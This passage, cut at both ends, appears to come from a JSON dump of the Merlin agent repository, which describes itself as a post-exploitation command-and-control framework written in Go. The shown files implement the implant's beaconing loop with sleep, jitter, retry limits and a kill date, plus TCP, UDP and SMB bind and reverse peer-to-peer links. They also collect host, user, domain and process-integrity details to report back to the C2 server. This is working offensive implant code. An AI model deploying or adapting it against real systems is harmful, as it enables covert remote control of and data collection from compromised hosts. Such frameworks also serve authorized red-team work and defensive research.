\"SE_PRIVILEGE_REMOVED\"\n\tcase 0x80000000:\n\t\treturn \"SE_PRIVILEGE_USED_FOR_ACCESS\"\n\tcase 0x00000001 | 0x00000002 | 0x00000004 | 0x80000000:\n\t\treturn \"SE_PRIVILEGE_VALID_ATTRIBUTES\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"Unknown SE_PRIVILEGE_ value: 0x%X\", attribute)\n\t}\n}\n\n// PrivilegeToString converts a LUID to it's string representation\nfunc PrivilegeToString(priv windows.LUID) string {\n\tp, err := advapi32.LookupPrivilegeName(priv)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\treturn p\n}\n\n// TokenTypeToString converts a TOKEN_TYPE uint32 value to it's associated string\nfunc TokenTypeToString(tokenType uint32) string {\n\tswitch tokenType {\n\tcase windows.TokenPrimary:\n\t\treturn \"Primary\"\n\tcase windows.TokenImpersonation:\n\t\treturn \"Impersonation\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown TOKEN_TYPE: %d\", tokenType)\n\t}\n}\n\n// Structures\n\n// TOKEN_STATISTICS contains information about an access token\n// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_statistics\n//\n//\ttypedef struct _TOKEN_STATISTICS {\n//\t LUID                         TokenId;\n//\t LUID                         AuthenticationId;\n//\t LARGE_INTEGER                ExpirationTime;\n//\t TOKEN_TYPE                   TokenType;\n//\t SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;\n//\t DWORD                        DynamicCharged;\n//\t DWORD                        DynamicAvailable;\n//\t DWORD                        GroupCount;\n//\t DWORD                        PrivilegeCount;\n//\t LUID                         ModifiedId;\n//\t} TOKEN_STATISTICS, *PTOKEN_STATISTICS;\ntype TOKEN_STATISTICS struct {\n\tTokenId            windows.LUID\n\tAuthenticationId   windows.LUID\n\tExpirationTime     int64\n\tTokenType          uint32 // Enum of TokenPrimary 0 or TokenImpersonation 1\n\tImpersonationLevel uint32 // Enum\n\tDynamicCharged     uint32\n\tDynamicAvailable   uint32\n\tGroupCount         uint32\n\tPrivilegeCount     uint32\n\tModifiedId         windows.LUID\n}\n"
  },
  {
    "path": "p2p/memory/memory.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package memory is an in-memory repository for storing and managing peer-to-peer Link objects\npackage memory\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"net\"\n\t\"sync\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/p2p\"\n)\n\n// Repository holds database of existing peer-to-peer Links in a map\ntype Repository struct {\n\tsync.Mutex\n\tlinks sync.Map\n}\n\n// repo is the in-memory datastore\nvar repo *Repository\n\n// NewRepository creates and returns a new in-memory repository for interacting with peer-to-peer Links\nfunc NewRepository() *Repository {\n\tif repo == nil {\n\t\trepo = &Repository{\n\t\t\tMutex: sync.Mutex{},\n\t\t}\n\t}\n\treturn repo\n}\n\n// Delete removes the peer-to-peer Link from the in-memory datastore\nfunc (r *Repository) Delete(id uuid.UUID) {\n\tr.links.Delete(id)\n}\n\n// Get finds the peer-to-peer Link by the provided id and returns it\nfunc (r *Repository) Get(id uuid.UUID) (link *p2p.Link, err error) {\n\ta, ok := r.links.Load(id)\n\tif !ok {\n\t\terr = fmt.Errorf(\"p2p/memory.Get(): %s is not a known P2P link\", id)\n\t\treturn\n\t}\n\tlink = a.(*p2p.Link)\n\treturn\n}\n\n// GetAll returns all peer-to-peer Links in the in-memory datastore\nfunc (r *Repository) GetAll() (links []*p2p.Link) {\n\tr.links.Range(\n\t\tfunc(k, v interface{}) bool {\n\t\t\tagent := v.(*p2p.Link)\n\t\t\tlinks = append(links, agent)\n\t\t\treturn true\n\t\t},\n\t)\n\treturn\n}\n\n// Store saves the provided peer-to-peer link into the in-memory datastore\nfunc (r *Repository) Store(link *p2p.Link) {\n\tr.links.Store(link.ID(), link)\n}\n\n// UpdateConn updates the peer-to-peer Link's embedded conn field with the provided network connection\nfunc (r *Repository) UpdateConn(id uuid.UUID, conn interface{}, remote net.Addr) error {\n\tr.Lock()\n\tdefer r.Unlock()\n\tlink, err := r.Get(id)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"p2p/memory.UpdateConn(): %s\", err)\n\t}\n\tlink.UpdateConn(conn, remote)\n\tr.Store(link)\n\treturn nil\n}\n"
  },
  {
    "path": "p2p/p2p.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package p2p is used for Agent based peer-to-peer communications\npackage p2p\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"net\"\n\t\"sync\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Types of peer-to-peer links/connections\nconst (\n\tTCPBIND    = 0\n\tTCPREVERSE = 1\n\tUDPBIND    = 2\n\tUDPREVERSE = 3\n\tSMBBIND    = 4\n\tSMBREVERSE = 5\n)\n\nconst (\n\t// MaxSizeUDP is the maximum size of a UDP fragment\n\t// http://ithare.com/udp-from-mog-perspective/\n\tMaxSizeUDP = 1450\n\t// MaxSizeSMB is the maximum size of an SMB fragment\n\t// The WriteFileEx Windows API function says:\n\t// \"Pipe write operations across a network are limited to 65,535 bytes per write\"\n\t// https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex\n\tMaxSizeSMB = 65535\n)\n\n// Link holds information about peer-to-peer linked agents\ntype Link struct {\n\tid         uuid.UUID          // id is Agent id for this peer-to-peer connection\n\tin         chan messages.Base // in a channel of incoming Base messages coming in from the linked Agent\n\tout        chan messages.Base // out a channel of outgoing Base messages to be sent to the linked Agent\n\tconn       interface{}        // conn the network connection used to communicate with the linked Agent\n\tconnType   int                // connType of the linked Agent (e.g., tcp-bind, SMB, etc.)\n\tremote     net.Addr           // remote is the name or address of the remote Agent data is being sent to\n\tlistener   uuid.UUID          // listener is the server-side listener id for this link\n\tsync.Mutex                    // Mutex is used to lock the Link object for thread safety\n}\n\n// NewLink is a factory to build and return a Link structure\nfunc NewLink(id uuid.UUID, listener uuid.UUID, conn interface{}, linkType int, remote net.Addr) *Link {\n\treturn &Link{\n\t\tid:       id,\n\t\tin:       make(chan messages.Base, 100),\n\t\tout:      make(chan messages.Base, 100),\n\t\tconn:     conn,\n\t\tconnType: linkType,\n\t\tremote:   remote,\n\t\tlistener: listener,\n\t}\n}\n\n// AddIn takes in a base message from a parent Agent or the Merlin server and adds it to the incoming message channel,\n// so it can be sent to the child Agent\nfunc (l *Link) AddIn(base messages.Base) {\n\tl.in <- base\n}\n\n// AddOut takes in a base message from a child Agent and adds it to the outgoing message channel, so it can be sent to\n// the Merlin server\nfunc (l *Link) AddOut(base messages.Base) {\n\tl.out <- base\n}\n\n// Conn returns the peer-to-peer network connection used to read and write network traffic\nfunc (l *Link) Conn() interface{} {\n\treturn l.conn\n}\n\n// GetIn blocks waiting for a Base message from the incoming message channel and returns it\nfunc (l *Link) GetIn() messages.Base {\n\treturn <-l.in\n}\n\n// GetOut blocks waiting for a Base message from the outgoing message channel and returns it\nfunc (l *Link) GetOut() messages.Base {\n\treturn <-l.out\n}\n\n// ID returns the peer-to-peer Link's id\nfunc (l *Link) ID() uuid.UUID {\n\treturn l.id\n}\n\n// Listener returns the peer-to-peer Link's listener id\nfunc (l *Link) Listener() uuid.UUID {\n\treturn l.listener\n}\n\n// Type returns what type of peer-to-peer Link this is (e.g., TCP reverse or SMB bind)\nfunc (l *Link) Type() int {\n\treturn l.connType\n}\n\n// Remote returns the address the peer-to-peer Link is connected to\nfunc (l *Link) Remote() net.Addr {\n\treturn l.remote\n}\n\n// UpdateConn updates the peer-to-peer Link's network connection\n// The updated object must be subsequently stored in the repository\nfunc (l *Link) UpdateConn(conn interface{}, remote net.Addr) {\n\tl.conn = conn\n\tl.remote = remote\n}\n\n// String returns the peer-to-peer Link's type as a string\nfunc (l *Link) String() string {\n\treturn String(l.connType)\n}\n\n// String converts the peer-to-peer Link type from a constant to a string\nfunc String(linkType int) string {\n\tswitch linkType {\n\tcase SMBREVERSE:\n\t\treturn \"smb-reverse\"\n\tcase SMBBIND:\n\t\treturn \"smb-bind\"\n\tcase TCPBIND:\n\t\treturn \"tcp-bind\"\n\tcase TCPREVERSE:\n\t\treturn \"tcp-reverse\"\n\tcase UDPBIND:\n\t\treturn \"udp-bind\"\n\tcase UDPREVERSE:\n\t\treturn \"udp-reverse\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"unknown peer-to-peer agent link type %d\", linkType)\n\t}\n}\n"
  },
  {
    "path": "p2p/repository.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage p2p\n\nimport (\n\t// Standard\n\t\"net\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n)\n\ntype Repository interface {\n\t// Delete removes the peer-to-peer Link from the in-memory datastore\n\tDelete(id uuid.UUID)\n\t// Get finds the peer-to-peer Link by the provided id and returns it\n\tGet(id uuid.UUID) (link *Link, err error)\n\t// GetAll returns all peer-to-peer Links in the in-memory datastore\n\tGetAll() (links []*Link)\n\t// Store saves the provided peer-to-peer link into the in-memory datastore\n\tStore(link *Link)\n\t// UpdateConn updates the peer-to-peer Link's embedded conn field with the provided network connection\n\tUpdateConn(id uuid.UUID, conn interface{}, remote net.Addr) error\n}\n"
  },
  {
    "path": "qodana.yaml",
    "content": "version: \"1.0\"\nlinter: jetbrains/qodana-go:2023.3\nexclude:\n  - name: All\n    paths:\n      - .github\n      - .qodana\n      - docs"
  },
  {
    "path": "run/run.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package run contains the logic for the Agent to execute operations checking for and sending messages\npackage run\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"math/rand\"\n\t\"os\"\n\t\"time\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/agent\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\tas \"github.com/Ne0nd0g/merlin-agent/v2/services/agent\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/client\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/message\"\n)\n\nvar agentService *as.Service\nvar clientService *client.Service\nvar messageService *message.Service\n\n// Run instructs an agent to establish communications with the passed in server using the passed in client\nfunc Run(a agent.Agent, c clients.Client) {\n\t// Set up the Agent service and add the Agent to the repository through the service\n\tagentService = as.NewAgentService()\n\tagentService.Add(a)\n\n\t// Set up the Client service and add the Client to the repository through the service\n\tclientService = client.NewClientService()\n\tclientService.Add(c)\n\n\t// Set up the Message service to handle Base messages\n\tmessageService = message.NewMessageService(a.ID())\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Agent version: %s\", core.Version))\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Agent build: %s\", core.Build))\n\n\tfor {\n\t\ta = agentService.Get()\n\t\tc = clientService.Get()\n\t\t// Verify the agent's kill date hasn't been exceeded\n\t\tif (a.KillDate() != 0) && (time.Now().Unix() >= a.KillDate()) {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"agent kill date has been exceeded: %s, quitting...\", time.Unix(a.KillDate(), 0).UTC().Format(time.RFC3339)))\n\t\t\tos.Exit(0)\n\t\t}\n\t\t// Check in\n\t\tif a.Authenticated() {\n\t\t\t// Synchronous clients will fill the console with this message because there is no sleep\n\t\t\tif a.Wait() >= 0 {\n\t\t\t\tcli.Message(cli.NOTE, \"Checking in...\")\n\t\t\t}\n\t\t\tcheckIn()\n\t\t} else {\n\t\t\terr := clientService.Initial()\n\t\t\tif err != nil {\n\t\t\t\tagentService.IncrementFailed()\n\t\t\t\ta = agentService.Get()\n\t\t\t\tcli.Message(cli.WARN, err.Error())\n\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"%d out of %d total failed checkins\", a.Comms().Failed, a.Comms().Retry))\n\t\t\t\tif a.Wait() <= 0 {\n\t\t\t\t\tsleep := time.Second * 30\n\t\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Agent's sleep is %s, using error recovery default. Sleeping for %s at %s\", a.Wait().String(), sleep.String(), time.Now().UTC().Format(time.RFC3339)))\n\t\t\t\t\ttime.Sleep(sleep)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.SUCCESS, \"Agent authentication successful\")\n\t\t\t\tagentService.SetAuthenticated(true)\n\t\t\t\tagentService.SetInitialCheckIn(time.Now().UTC())\n\t\t\t\t// If the Agent is synchronous, start a listener in a go routine to receive upstream messages anytime\n\t\t\t\tif c.Synchronous() {\n\t\t\t\t\tgo listen()\n\t\t\t\t}\n\t\t\t\t// If the Agent doesn't sleep, start go routines that block waiting for a message to send back to the server\n\t\t\t\tif a.Wait() < 0 {\n\t\t\t\t\tgo messageService.GetJobs()\n\t\t\t\t\tgo messageService.GetDelegates()\n\t\t\t\t} else {\n\t\t\t\t\t// Used to immediately respond to AgentInfo request job from server\n\t\t\t\t\tcheckIn()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Get the latest copy of agent and client after incoming messages have been processed\n\t\ta = agentService.Get()\n\t\tc = clientService.Get()\n\n\t\t// Determine if the max number of failed checkins has been reached\n\t\tif a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"maximum number of failed checkin attempts reached: %d, quitting...\", a.MaxRetry()))\n\t\t\tos.Exit(0)\n\t\t}\n\t\tif a.Wait() >= 0 {\n\t\t\t// Sleep\n\t\t\tvar sleepTime time.Duration\n\t\t\tif a.Skew() > 0 {\n\t\t\t\tsleepTime = a.Wait() + (time.Duration(rand.Int63n(a.Skew())) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK\n\t\t\t} else {\n\t\t\t\tsleepTime = a.Wait()\n\t\t\t}\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sleeping for %s at %s\", sleepTime.String(), time.Now().UTC().Format(time.RFC3339)))\n\t\t\ttime.Sleep(sleepTime)\n\t\t}\n\t}\n}\n\n// checkIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs\nfunc checkIn() {\n\tcli.Message(cli.DEBUG, \"run/run.checkIn(): entering into function...\")\n\tdefer cli.Message(cli.DEBUG, \"run/run.checkIn(): leaving function...\")\n\ta := agentService.Get()\n\tc := clientService.Get()\n\tvar msg messages.Base\n\tif a.Wait() < 0 {\n\t\t// This call blocks until there is a message to return\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Waiting for a message to send upstream at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\tmsg = messageService.Get()\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Received message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t} else {\n\t\t// This call DOES NOT block and will return a CheckIn message if there are no other messages in the queue\n\t\tmsg = messageService.Check()\n\t}\n\n\t// Send the message to Merlin server or parent Agent\n\tbases, err := c.Send(msg)\n\n\tif err != nil {\n\t\tagentService.IncrementFailed()\n\t\ta := agentService.Get()\n\t\tcli.Message(cli.WARN, err.Error())\n\t\t// Determine if the max number of failed checkins has been reached\n\t\tif a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"maximum number of failed checkin attempts reached: %d, quitting...\", a.MaxRetry()))\n\t\t\tos.Exit(0)\n\t\t} else {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"%d out of %d total failed checkins\", a.Failed(), a.MaxRetry()))\n\t\t}\n\n\t\t// Put the jobs back into the queue if there was an error\n\t\tmessageService.Store(msg)\n\t\t/*\n\t\t\tif msg.Type == messages.JOBS {\n\t\t\t\terr = messageService.Handle(msg)\n\t\t\t\tif err != nil {\n\t\t\t\t\tagentService.IncrementFailed()\n\t\t\t\t}\n\t\t\t}\n\t\t*/\n\n\t\tif a.Wait() <= 0 {\n\t\t\tsleep := time.Second * 30\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Agent's sleep is %s, using error recovery default. Sleeping for %s at %s\", a.Wait().String(), sleep.String(), time.Now().UTC().Format(time.RFC3339)))\n\t\t\ttime.Sleep(sleep)\n\t\t}\n\t\treturn\n\t}\n\n\tagentService.SetFailedCheckIn(0)\n\tagentService.SetStatusCheckIn(time.Now().UTC())\n\n\t// Handle return messages from the Merlin server or the parent Agent\n\tfor _, base := range bases {\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Agent ID: %s\", base.ID))\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Message Type: %s\", base.Type))\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Message Payload: %+v\", base.Payload))\n\n\t\t// Handle message\n\t\terr = messageService.Handle(base)\n\t\tif err != nil {\n\t\t\tagentService.IncrementFailed()\n\t\t\t// Determine if the max number of failed checkins has been reached\n\t\t\ta := agentService.Get()\n\t\t\tif a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"maximum number of failed checkin attempts reached: %d, quitting...\", a.MaxRetry()))\n\t\t\t\tos.Exit(0)\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"%d out of %d total failed checkins\", a.Failed(), a.MaxRetry()))\n\t\t\t}\n\t\t}\n\t}\n}\n\n// listen is an infinite loop used with synchronous Agents to receive Base messages and send them to the message handler\nfunc listen() {\n\tvar i int\n\tfor {\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"run.listen(): entering into loop %d\", i))\n\t\ti++\n\t\tmsgs, err := clientService.Listen()\n\t\tif err != nil {\n\t\t\tagentService.IncrementFailed()\n\t\t\ta := agentService.Get()\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"run.listen(): there was an error listening: %s\", err))\n\t\t\t// Determine if the max number of failed checkins has been reached\n\t\t\tif a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"maximum number of failed checkin attempts reached: %d, quitting...\", a.MaxRetry()))\n\t\t\t\tos.Exit(0)\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"%d out of %d total failed checkins\", a.Failed(), a.MaxRetry()))\n\t\t\t}\n\t\t} else {\n\t\t\tagentService.SetFailedCheckIn(0)\n\t\t\tif len(msgs) > 0 {\n\t\t\t\tfor _, msg := range msgs {\n\t\t\t\t\terr = messageService.Handle(msg)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"run.listen(): there was an error handling incoming messages: %s\", err))\n\t\t\t\t\t\tagentService.IncrementFailed()\n\t\t\t\t\t\t// Determine if the max number of failed checkins has been reached\n\t\t\t\t\t\ta := agentService.Get()\n\t\t\t\t\t\tif a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {\n\t\t\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"maximum number of failed checkin attempts reached: %d, quitting...\", a.MaxRetry()))\n\t\t\t\t\t\t\tos.Exit(0)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"%d out of %d total failed checkins\", a.Failed(), a.MaxRetry()))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "services/agent/agent.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package agent is a service to manage Agent structures\npackage agent\n\nimport (\n\t// Standard\n\t\"strconv\"\n\t\"time\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/agent\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/agent/memory\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients\"\n\tclientMemory \"github.com/Ne0nd0g/merlin-agent/v2/clients/memory\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Service is the structure used to interact with Agent objects\ntype Service struct {\n\tAgentRepo  agent.Repository\n\tClientRepo clients.Repository\n}\n\n// memoryService is an in-memory instantiation of the agent service\nvar memoryService *Service\n\n// NewAgentService is a factory that returns an Agent Service\nfunc NewAgentService() *Service {\n\tif memoryService == nil {\n\t\tmemoryService = &Service{\n\t\t\tAgentRepo:  withAgentMemoryRepository(),\n\t\t\tClientRepo: withClientMemoryRepository(),\n\t\t}\n\t}\n\treturn memoryService\n}\n\n// withAgentMemoryRepository gets an in-memory Agent repository structure and returns it\nfunc withAgentMemoryRepository() agent.Repository {\n\treturn memory.NewRepository()\n}\n\n// withClientMemoryRepository gets an in-memory Agent Client repository structure and returns it\nfunc withClientMemoryRepository() clients.Repository {\n\treturn clientMemory.NewRepository()\n}\n\n// Add stores the provided agent object in the repository\nfunc (s *Service) Add(agent agent.Agent) {\n\ts.AgentRepo.Add(agent)\n}\n\n// AgentInfo builds an AgentInfo structure from the information stored in the Agent and Client repositories\nfunc (s *Service) AgentInfo() messages.AgentInfo {\n\ta := s.AgentRepo.Get()\n\tcomms := a.Comms()\n\th := a.Host()\n\tp := a.Process()\n\tc := s.ClientRepo.Get()\n\n\tsysInfoMessage := messages.SysInfo{\n\t\tHostName:     h.Name,\n\t\tPlatform:     h.Platform,\n\t\tArchitecture: h.Architecture,\n\t\tIps:          h.IPs,\n\t\tProcess:      p.Name,\n\t\tPid:          p.ID,\n\t\tIntegrity:    p.Integrity,\n\t\tUserName:     p.UserName,\n\t\tUserGUID:     p.UserGUID,\n\t\tDomain:       p.Domain,\n\t}\n\n\tpadding, _ := strconv.Atoi(c.Get(\"paddingmax\"))\n\tagentInfoMessage := messages.AgentInfo{\n\t\tVersion:       core.Version,\n\t\tBuild:         core.Build,\n\t\tWaitTime:      comms.Wait.String(),\n\t\tPaddingMax:    padding,\n\t\tMaxRetry:      comms.Retry,\n\t\tFailedCheckin: comms.Failed,\n\t\tSkew:          comms.Skew,\n\t\tProto:         c.Get(\"protocol\"),\n\t\tSysInfo:       sysInfoMessage,\n\t\tKillDate:      comms.Kill,\n\t\tJA3:           c.Get(\"ja3\"),\n\t}\n\treturn agentInfoMessage\n}\n\n// Get returns the single Agent object stored in the repository, because there can only be one\nfunc (s *Service) Get() agent.Agent {\n\treturn s.AgentRepo.Get()\n}\n\n// IncrementFailed increases the Agent's failed checkin count by one\nfunc (s *Service) IncrementFailed() {\n\ta := s.AgentRepo.Get()\n\tc := a.Comms()\n\tc.Failed++\n\ts.AgentRepo.SetComms(c)\n}\n\n// SetAuthenticated updates the Agent's authenticated status\nfunc (s *Service) SetAuthenticated(authenticated bool) {\n\ts.AgentRepo.SetAuthenticated(authenticated)\n}\n\n// SetFailedCheckIn updates the number of times the Agent has already failed to check in with the provided value\nfunc (s *Service) SetFailedCheckIn(failed int) {\n\ts.AgentRepo.SetFailedCheckIn(failed)\n}\n\n// SetInitialCheckIn updates the time stamp of when the Agent first successfully check in\nfunc (s *Service) SetInitialCheckIn(checkin time.Time) {\n\ts.AgentRepo.SetInitialCheckIn(checkin)\n}\n\n// SetKillDate updates the date, as an epoch timestamp, that the Agent will quit running\nfunc (s *Service) SetKillDate(date int64) {\n\ts.AgentRepo.SetKillDate(date)\n}\n\n// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running\nfunc (s *Service) SetMaxRetry(retries int) {\n\ts.AgentRepo.SetMaxRetry(retries)\n}\n\n// SetSkew updates the amount of jitter or skew that is applied to an Agent's sleep time\nfunc (s *Service) SetSkew(skew int64) {\n\ts.AgentRepo.SetSkew(skew)\n}\n\n// SetSleep updates the amount of time an Agent will sleep between checkins\nfunc (s *Service) SetSleep(sleep time.Duration) {\n\ts.AgentRepo.SetSleep(sleep)\n}\n\n// SetStatusCheckIn updates the time stamp of when this Agent last successfully connected to the Server or parent Agent\nfunc (s *Service) SetStatusCheckIn(checkin time.Time) {\n\ts.AgentRepo.SetStatusCheckIn(checkin)\n}\n"
  },
  {
    "path": "services/client/client.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package client is a service to manager Merlin command and control communication clients\npackage client\n\nimport (\n\t\"fmt\"\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients/memory\"\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"strings\"\n)\n\n// Service is the structure used to interact with Client objects\ntype Service struct {\n\tClientRepo clients.Repository\n}\n\n// memoryService is an in-memory instantiation of the client service\nvar memoryService *Service\n\n// NewClientService is the factory to create a new service for working with Merlin C2 clients\nfunc NewClientService() *Service {\n\tif memoryService == nil {\n\t\tmemoryService = &Service{\n\t\t\tClientRepo: withMemoryClientRepo(),\n\t\t}\n\t}\n\treturn memoryService\n}\n\n// withMemoryClientRepo gets an in-memory Client repository structure and returns it\nfunc withMemoryClientRepo() clients.Repository {\n\treturn memory.NewRepository()\n}\n\n// Add saves the input Client into the repository\nfunc (s *Service) Add(client clients.Client) {\n\ts.ClientRepo.Add(client)\n}\n\n// Authenticate initiates the Client's authentication function to authenticate this Agent to the Merlin server\n// the input msg is used to pass authentication data when the authenticator requires multiple trips\nfunc (s *Service) Authenticate(msg messages.Base) error {\n\treturn s.ClientRepo.Get().Authenticate(msg)\n}\n\n// Connect instructs the Client to disconnect from its current server and connect to the new provided target\nfunc (s *Service) Connect(addr string) (err error) {\n\tclient := s.ClientRepo.Get()\n\terr = client.Set(\"addr\", addr)\n\treturn\n}\n\n// Get returns the Agent's current communication client from the repository\nfunc (s *Service) Get() clients.Client {\n\treturn s.ClientRepo.Get()\n}\n\n// Initial starts the Client's initialization route used to start a new connection with Merlin server\nfunc (s *Service) Initial() error {\n\treturn s.ClientRepo.Get().Initial()\n}\n\n// Listen executes a Client's protocol-specific function to listen for incoming messages and returns them\nfunc (s *Service) Listen() ([]messages.Base, error) {\n\treturn s.ClientRepo.Get().Listen()\n}\n\n// Reset resets the client's listener to its initial state to allow for a new connection\nfunc (s *Service) Reset() (err error) {\n\tclient := s.ClientRepo.Get()\n\tproto := 